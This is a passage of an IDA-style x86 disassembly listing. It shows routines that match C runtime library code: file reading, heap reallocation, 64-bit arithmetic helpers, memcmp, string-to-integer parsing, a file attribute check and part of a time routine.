; sub_404475+4Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_40DA44
xor eax, eax
jmp loc_40DAED
; ---------------------------------------------------------------------------
loc_40DA44: ; CODE XREF: sub_40DA20+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_40DA57
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_40DA63
; ---------------------------------------------------------------------------
loc_40DA57: ; CODE XREF: sub_40DA20+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_40DA63
; ---------------------------------------------------------------------------
loc_40DA60: ; CODE XREF: sub_40DA20+C4j
mov ecx, [ebp+arg_0]
loc_40DA63: ; CODE XREF: sub_40DA20+35j
; sub_40DA20+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_40DA95
mov eax, [esi+4]
test eax, eax
jz short loc_40DA95
cmp ecx, eax
mov edi, ecx
jb short loc_40DA7A
mov edi, eax
loc_40DA7A: ; CODE XREF: sub_40DA20+56j
push edi
push dword ptr [esi]
push ebx
call near ptr sub_40C820
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_40DAE0
; ---------------------------------------------------------------------------
loc_40DA95: ; CODE XREF: sub_40DA20+49j
; sub_40DA20+50j
cmp ecx, [ebp+arg_C]
jb short loc_40DAC8
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_40DAAB
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_40DAAB: ; CODE XREF: sub_40DA20+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_412E82
add esp, 0Ch
test eax, eax
jz short loc_40DAF2
cmp eax, 0FFFFFFFFh
jz short loc_40DAF8
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_40DAE0
; ---------------------------------------------------------------------------
loc_40DAC8: ; CODE XREF: sub_40DA20+78j
push esi
call sub_412DA9
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_40DAFC
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_40DAE0: ; CODE XREF: sub_40DA20+73j
; sub_40DA20+A6j
cmp [ebp+arg_0], 0
jnz loc_40DA60
mov eax, [ebp+arg_8]
loc_40DAED: ; CODE XREF: sub_40DA20+1Fj
; sub_40DA20+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40DAF2: ; CODE XREF: sub_40DA20+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_40DAFC
; ---------------------------------------------------------------------------
loc_40DAF8: ; CODE XREF: sub_40DA20+9Fj
or dword ptr [esi+0Ch], 20h
loc_40DAFC: ; CODE XREF: sub_40DA20+B2j
; sub_40DA20+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_40DAED
sub_40DA20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DB08 proc near ; CODE XREF: sub_40327E+2Cp
; sub_40D7A3+35p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_40DB23
push [ebp+arg_4]
call sub_40CCCF
pop ecx
jmp loc_40DDA3
; ---------------------------------------------------------------------------
loc_40DB23: ; CODE XREF: sub_40DB08+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_40DB38
push [ebp+arg_0]
call sub_40CD81
pop ecx
jmp loc_40DDA1
; ---------------------------------------------------------------------------
loc_40DB38: ; CODE XREF: sub_40DB08+20j
mov eax, dword_483428
cmp eax, 3
jnz loc_40DC48
loc_40DB46: ; CODE XREF: sub_40DB08+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_40DC24
push [ebp+arg_0]
call sub_4102C8
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_40DBFF
cmp esi, dword_483420
ja short loc_40DBB8
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_410AD1
add esp, 0Ch
test eax, eax
jnz short loc_40DBB4
push esi
call sub_41061C
mov edi, eax
pop ecx
test edi, edi
jz short loc_40DBB8
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_40DB98
mov eax, esi
loc_40DB98: ; CODE XREF: sub_40DB08+8Cj
push eax
push ebx
push edi
call near ptr sub_40C820
push ebx
call sub_4102C8
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_4102F3
add esp, 18h
loc_40DBB4: ; CODE XREF: sub_40DB08+74j
test edi, edi
jnz short loc_40DBFB
loc_40DBB8: ; CODE XREF: sub_40DB08+62j
; sub_40DB08+81j
test esi, esi
jnz short loc_40DBBF
push 1
pop esi
loc_40DBBF: ; CODE XREF: sub_40DB08+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_483424
call dword_418110 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_40DBFB
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_40DBE7
mov eax, esi
loc_40DBE7: ; CODE XREF: sub_40DB08+DBj
push eax
push ecx
push edi
call near ptr sub_40C820
push [ebp+arg_0]
push ebx
call sub_4102F3
add esp, 14h
loc_40DBFB: ; CODE XREF: sub_40DB08+AEj
; sub_40DB08+D0j
test ebx, ebx
jnz short loc_40DC20
loc_40DBFF: ; CODE XREF: sub_40DB08+56j
test esi, esi
jnz short loc_40DC06
push 1
pop esi
loc_40DC06: ; CODE XREF: sub_40DB08+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_483424
call dword_41811C ; RtlReAllocateHeap
mov edi, eax
loc_40DC20: ; CODE XREF: sub_40DB08+F5j
test edi, edi
jnz short loc_40DC41
loc_40DC24: ; CODE XREF: sub_40DB08+43j
cmp dword_481E14, 0
jz short loc_40DC41
push esi
call sub_410093
test eax, eax
pop ecx
jnz loc_40DB46
jmp loc_40DDA1
; ---------------------------------------------------------------------------
loc_40DC41: ; CODE XREF: sub_40DB08+11Aj
; sub_40DB08+123j ...
mov eax, edi
jmp loc_40DDA3
; ---------------------------------------------------------------------------
loc_40DC48: ; CODE XREF: sub_40DB08+38j
cmp eax, 2
jnz loc_40DD63
cmp esi, 0FFFFFFE0h
ja short loc_40DC65
test esi, esi
jbe short loc_40DC62
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_40DC65
; ---------------------------------------------------------------------------
loc_40DC62: ; CODE XREF: sub_40DB08+150j
push 10h
pop esi
loc_40DC65: ; CODE XREF: sub_40DB08+14Cj
; sub_40DB08+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_40DD45
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_411023
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_40DD29
cmp esi, dword_421CB4
jnb short loc_40DCED
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_4113EB
add esp, 10h
test eax, eax
jz short loc_40DCB3
mov edi, [ebp+arg_0]
jmp short loc_40DCE5
; ---------------------------------------------------------------------------
loc_40DCB3: ; CODE XREF: sub_40DB08+1A4j
push edi
call sub_4110BF
mov edi, eax
pop ecx
test edi, edi
jz short loc_40DCED
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_40DCCC
mov eax, esi
loc_40DCCC: ; CODE XREF: sub_40DB08+1C0j
push eax
push [ebp+arg_0]
push edi
call near ptr sub_40C820
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41107A
add esp, 18h
loc_40DCE5: ; CODE XREF: sub_40DB08+1A9j
test edi, edi
jnz loc_40DC41
loc_40DCED: ; CODE XREF: sub_40DB08+18Bj
; sub_40DB08+1B6j
push esi
push 0
push dword_483424
call dword_418110 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_40DD45
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_40DD0E
mov eax, esi
loc_40DD0E: ; CODE XREF: sub_40DB08+202j
push eax
push [ebp+arg_0]
push edi
call near ptr sub_40C820
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41107A
add esp, 18h
jmp short loc_40DD3D
; ---------------------------------------------------------------------------
loc_40DD29: ; CODE XREF: sub_40DB08+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_483424
call dword_41811C ; RtlReAllocateHeap
mov edi, eax
loc_40DD3D: ; CODE XREF: sub_40DB08+21Fj
test edi, edi
jnz loc_40DC41
loc_40DD45: ; CODE XREF: sub_40DB08+162j
; sub_40DB08+1F8j
cmp dword_481E14, 0
jz loc_40DC41
push esi
call sub_410093
test eax, eax
pop ecx
jnz loc_40DC65
jmp short loc_40DDA1
; ---------------------------------------------------------------------------
loc_40DD63: ; CODE XREF: sub_40DB08+143j
; sub_40DB08+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_40DD8D
test esi, esi
jnz short loc_40DD71
push 1
pop esi
loc_40DD71: ; CODE XREF: sub_40DB08+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_483424
call dword_41811C ; RtlReAllocateHeap
test eax, eax
jnz short loc_40DDA3
loc_40DD8D: ; CODE XREF: sub_40DB08+260j
cmp dword_481E14, 0
jz short loc_40DDA3
push esi
call sub_410093
test eax, eax
pop ecx
jnz short loc_40DD63
loc_40DDA1: ; CODE XREF: sub_40DB08+2Bj
; sub_40DB08+134j ...
xor eax, eax
loc_40DDA3: ; CODE XREF: sub_40DB08+16j
; sub_40DB08+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_40DB08 endp
; =============== S U B R O U T I N E =======================================
sub_40DDA8 proc near ; CODE XREF: sub_40DDC8+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_4131E8
test eax, eax
jnz short loc_40DDB2
retn
; ---------------------------------------------------------------------------
loc_40DDB2: ; CODE XREF: sub_40DDA8+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_413078
add esp, 10h
retn
sub_40DDA8 endp
; =============== S U B R O U T I N E =======================================
sub_40DDC8 proc near ; CODE XREF: sub_40327E+18p
; sub_404475+2Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40DDA8
add esp, 0Ch
retn
sub_40DDC8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40DDE0 proc near ; CODE XREF: sub_40B3F5+11Bp
; sub_40F5E2+7F8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_40DDF9
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_40DDF9: ; CODE XREF: sub_40DDE0+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_40DDE0 endp
; =============== S U B R O U T I N E =======================================
sub_40DE14 proc near ; CODE XREF: sub_4037EA+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call dword_4180C0 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_40DE34
call dword_418044 ; RtlGetLastWin32Error
push eax
call sub_413260
pop ecx
loc_40DE30: ; CODE XREF: sub_40DE14+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40DE34: ; CODE XREF: sub_40DE14+Dj
test al, 1
jz short loc_40DE55
test [esp+arg_4], 2
jz short loc_40DE55
mov dword_481DBC, 0Dh
mov dword_481DC0, 5
jmp short loc_40DE30
; ---------------------------------------------------------------------------
loc_40DE55: ; CODE XREF: sub_40DE14+22j
; sub_40DE14+29j
xor eax, eax
retn
sub_40DE14 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40DE60 proc near ; CODE XREF: sub_403804+3Fp
; sub_40B751+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_40DE82
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_40DEC3
; ---------------------------------------------------------------------------
loc_40DE82: ; CODE XREF: sub_40DE60+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_40DE90: ; CODE XREF: sub_40DE60+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_40DE90
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_40DEBE
cmp edx, [esp+8+arg_4]
ja short loc_40DEBE
jb short loc_40DEBF
cmp eax, [esp+8+arg_0]
jbe short loc_40DEBF
loc_40DEBE: ; CODE XREF: sub_40DE60+4Ej
; sub_40DE60+54j
dec esi
loc_40DEBF: ; CODE XREF: sub_40DE60+56j
; sub_40DE60+5Cj
xor edx, edx
mov eax, esi
loc_40DEC3: ; CODE XREF: sub_40DE60+20j
pop esi
pop ebx
retn 10h
sub_40DE60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40DED0 proc near ; CODE XREF: sub_403804+2Dp
; sub_40B751+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_40DEF1
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_40DF41
; ---------------------------------------------------------------------------
loc_40DEF1: ; CODE XREF: sub_40DED0+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_40DEFF: ; CODE XREF: sub_40DED0+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_40DEFF
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_40DF2A
cmp edx, [esp+4+arg_4]
ja short loc_40DF2A
jb short loc_40DF32
cmp eax, [esp+4+arg_0]
jbe short loc_40DF32
loc_40DF2A: ; CODE XREF: sub_40DED0+4Aj
; sub_40DED0+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_40DF32: ; CODE XREF: sub_40DED0+52j
; sub_40DED0+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_40DF41: ; CODE XREF: sub_40DED0+1Fj
pop ebx
retn 10h
sub_40DED0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40DF50 proc near ; CODE XREF: sub_403913+5Fp
; sub_403913+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_40DF71
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_40DF71: ; CODE XREF: sub_40DF50+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_40DF8D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_40DF8D: ; CODE XREF: sub_40DF50+27j
or eax, eax
jnz short loc_40DFA9
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_40DFEA
; ---------------------------------------------------------------------------
loc_40DFA9: ; CODE XREF: sub_40DF50+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_40DFB7: ; CODE XREF: sub_40DF50+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_40DFB7
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_40DFE5
cmp edx, [esp+0Ch+arg_4]
ja short loc_40DFE5
jb short loc_40DFE6
cmp eax, [esp+0Ch+arg_0]
jbe short loc_40DFE6
loc_40DFE5: ; CODE XREF: sub_40DF50+85j
; sub_40DF50+8Bj
dec esi
loc_40DFE6: ; CODE XREF: sub_40DF50+8Dj
; sub_40DF50+93j
xor edx, edx
mov eax, esi
loc_40DFEA: ; CODE XREF: sub_40DF50+57j
dec edi
jnz short loc_40DFF4
neg edx
neg eax
sbb edx, 0
loc_40DFF4: ; CODE XREF: sub_40DF50+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_40DF50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40E000 proc near ; CODE XREF: sub_403C6B+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_40E04C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_40E04D
test eax, 1
jz short loc_40E02D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_40E07A
inc esi
inc edi
dec eax
jz short loc_40E04A
loc_40E02D: ; CODE XREF: sub_40E000+20j
; sub_40E000+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_40E07A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_40E07A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_40E02D
loc_40E04A: ; CODE XREF: sub_40E000+2Bj
; sub_40E000+84j
pop edi
pop esi
locret_40E04C: ; CODE XREF: sub_40E000+6j
retn
; ---------------------------------------------------------------------------
loc_40E04D: ; CODE XREF: sub_40E000+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_40E082
repe cmpsd
jz short loc_40E082
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_40E075
cmp ch, dh
jnz short loc_40E075
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_40E075
cmp ch, dh
loc_40E075: ; CODE XREF: sub_40E000+63j
; sub_40E000+67j ...
mov eax, 0
loc_40E07A: ; CODE XREF: sub_40E000+26j
; sub_40E000+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_40E082: ; CODE XREF: sub_40E000+55j
; sub_40E000+59j
test eax, eax
jz short loc_40E04A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_40E075
dec eax
jz short loc_40E0A9
cmp dh, ch
jnz short loc_40E075
dec eax
jz short loc_40E0A9
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_40E075
dec eax
loc_40E0A9: ; CODE XREF: sub_40E000+8Fj
; sub_40E000+96j
pop edi
pop esi
retn
sub_40E000 endp
; =============== S U B R O U T I N E =======================================
sub_40E0AC proc near ; CODE XREF: sub_4100DB+11Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_40E0C3
add esp, 10h
retn
sub_40E0AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E0C3 proc near ; CODE XREF: sub_40E0AC+Ep
; sub_40E2CB+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_40E0DB: ; CODE XREF: sub_40E0C3+46j
cmp dword_422004, 1
jle short loc_40E0F3
movzx eax, bl
push 8
push eax
call sub_412B49
pop ecx
pop ecx
jmp short loc_40E102
; ---------------------------------------------------------------------------
loc_40E0F3: ; CODE XREF: sub_40E0C3+1Fj
mov ecx, off_421DF8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_40E102: ; CODE XREF: sub_40E0C3+2Ej
test eax, eax
jz short loc_40E10B
mov bl, [esi]
inc esi
jmp short loc_40E0DB
; ---------------------------------------------------------------------------
loc_40E10B: ; CODE XREF: sub_40E0C3+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_40E119
or [ebp+arg_C], 2
jmp short loc_40E11E
; ---------------------------------------------------------------------------
loc_40E119: ; CODE XREF: sub_40E0C3+4Ej
cmp bl, 2Bh
jnz short loc_40E124
loc_40E11E: ; CODE XREF: sub_40E0C3+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_40E124: ; CODE XREF: sub_40E0C3+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_40E2BB
cmp eax, 1
jz loc_40E2BB
cmp eax, 24h
jg loc_40E2BB
push 10h
test eax, eax
pop ecx
jnz short loc_40E16C
cmp bl, 30h
jz short loc_40E156
mov [ebp+arg_8], 0Ah
jmp short loc_40E188
; ---------------------------------------------------------------------------
loc_40E156: ; CODE XREF: sub_40E0C3+88j
mov al, [esi]
cmp al, 78h
jz short loc_40E169
cmp al, 58h
jz short loc_40E169
mov [ebp+arg_8], 8
jmp short loc_40E188
; ---------------------------------------------------------------------------
loc_40E169: ; CODE XREF: sub_40E0C3+97j
; sub_40E0C3+9Bj
mov [ebp+arg_8], ecx
loc_40E16C: ; CODE XREF: sub_40E0C3+83j
cmp [ebp+arg_8], ecx
jnz short loc_40E188
cmp bl, 30h
jnz short loc_40E188
mov al, [esi]
cmp al, 78h
jz short loc_40E180
cmp al, 58h
jnz short loc_40E188
loc_40E180: ; CODE XREF: sub_40E0C3+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_40E188: ; CODE XREF: sub_40E0C3+91j
; sub_40E0C3+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_40E198: ; CODE XREF: sub_40E0C3+16Cj
cmp dword_422004, 1
movzx esi, bl
jle short loc_40E1B0
push 4
push esi
call sub_412B49
pop ecx
pop ecx
jmp short loc_40E1BB
; ---------------------------------------------------------------------------
loc_40E1B0: ; CODE XREF: sub_40E0C3+DFj
mov eax, off_421DF8
mov al, [eax+esi*2]
and eax, 4
loc_40E1BB: ; CODE XREF: sub_40E0C3+EBj
test eax, eax
jz short loc_40E1C7
movsx ecx, bl
sub ecx, 30h
jmp short loc_40E1F9
; ---------------------------------------------------------------------------
loc_40E1C7: ; CODE XREF: sub_40E0C3+FAj
cmp dword_422004, 1
jle short loc_40E1DB
push edi
push esi
call sub_412B49
pop ecx
pop ecx
jmp short loc_40E1E6
; ---------------------------------------------------------------------------
loc_40E1DB: ; CODE XREF: sub_40E0C3+10Bj
mov eax, off_421DF8
mov ax, [eax+esi*2]
and eax, edi
loc_40E1E6: ; CODE XREF: sub_40E0C3+116j
test eax, eax
jz short loc_40E234
movsx eax, bl
push eax
call sub_4132C7
pop ecx
mov ecx, eax
sub ecx, 37h
loc_40E1F9: ; CODE XREF: sub_40E0C3+102j
cmp ecx, [ebp+arg_8]
jnb short loc_40E234
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_40E21E
jnz short loc_40E218
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_40E21E
loc_40E218: ; CODE XREF: sub_40E0C3+147j
or [ebp+arg_C], 4
jmp short loc_40E227
; ---------------------------------------------------------------------------
loc_40E21E: ; CODE XREF: sub_40E0C3+145j
; sub_40E0C3+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_40E227: ; CODE XREF: sub_40E0C3+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_40E198
; ---------------------------------------------------------------------------
loc_40E234: ; CODE XREF: sub_40E0C3+125j
; sub_40E0C3+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_40E252
test edx, edx
jz short loc_40E24C
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_40E24C: ; CODE XREF: sub_40E0C3+181j
and [ebp+var_8], 0
jmp short loc_40E29F
; ---------------------------------------------------------------------------
loc_40E252: ; CODE XREF: sub_40E0C3+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_40E278
test cl, 1
jnz short loc_40E29F
and ecx, 2
jz short loc_40E26F
cmp [ebp+var_8], 80000000h
ja short loc_40E278
loc_40E26F: ; CODE XREF: sub_40E0C3+1A1j
test ecx, ecx
jnz short loc_40E29F
cmp [ebp+var_8], eax
jbe short loc_40E29F
loc_40E278: ; CODE XREF: sub_40E0C3+197j
; sub_40E0C3+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_481DBC, 22h
jz short loc_40E28E
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_40E29F
; ---------------------------------------------------------------------------
loc_40E28E: ; CODE XREF: sub_40E0C3+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_40E29F: ; CODE XREF: sub_40E0C3+18Dj
; sub_40E0C3+19Cj ...
test edx, edx
jz short loc_40E2A8
mov eax, [ebp+var_4]
mov [edx], eax
loc_40E2A8: ; CODE XREF: sub_40E0C3+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_40E2B6
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_40E2B6: ; CODE XREF: sub_40E0C3+1E9j
mov eax, [ebp+var_8]
jmp short loc_40E2C6
; ---------------------------------------------------------------------------
loc_40E2BB: ; CODE XREF: sub_40E0C3+66j
; sub_40E0C3+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_40E2C4
mov [eax], edi
loc_40E2C4: ; CODE XREF: sub_40E0C3+1FDj
xor eax, eax
loc_40E2C6: ; CODE XREF: sub_40E0C3+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_40E0C3 endp
; =============== S U B R O U T I N E =======================================
sub_40E2CB proc near ; CODE XREF: sub_403E11+4A6p
; sub_4077FD+2166p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_40E0C3
add esp, 10h
retn
sub_40E2CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E2E2 proc near ; CODE XREF: sub_403E11+4Ep
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call dword_418068 ; GetLocalTime
lea eax, [ebp+var_20]
push eax
call dword_418124 ; GetSystemTime
mov ax, [ebp+var_16]
cmp ax, word_481DB2
jnz short loc_40E347
mov ax, [ebp+var_18]
cmp ax, word_481DB0
jnz short loc_40E347
mov ax, [ebp+var_1A]
cmp ax, word_481DAE
jnz short loc_40E347
mov ax, [ebp+var_1E]
cmp ax, word_481DAA
jnz short loc_40E347
mov ax, [ebp+var_20]
cmp ax, word_481DA8
jnz short loc_40E347
mov eax, dword_481DA0
jmp short loc_40E38C
; ---------------------------------------------------------------------------
loc_40E347: ; CODE XREF: sub_40E2E2+28j
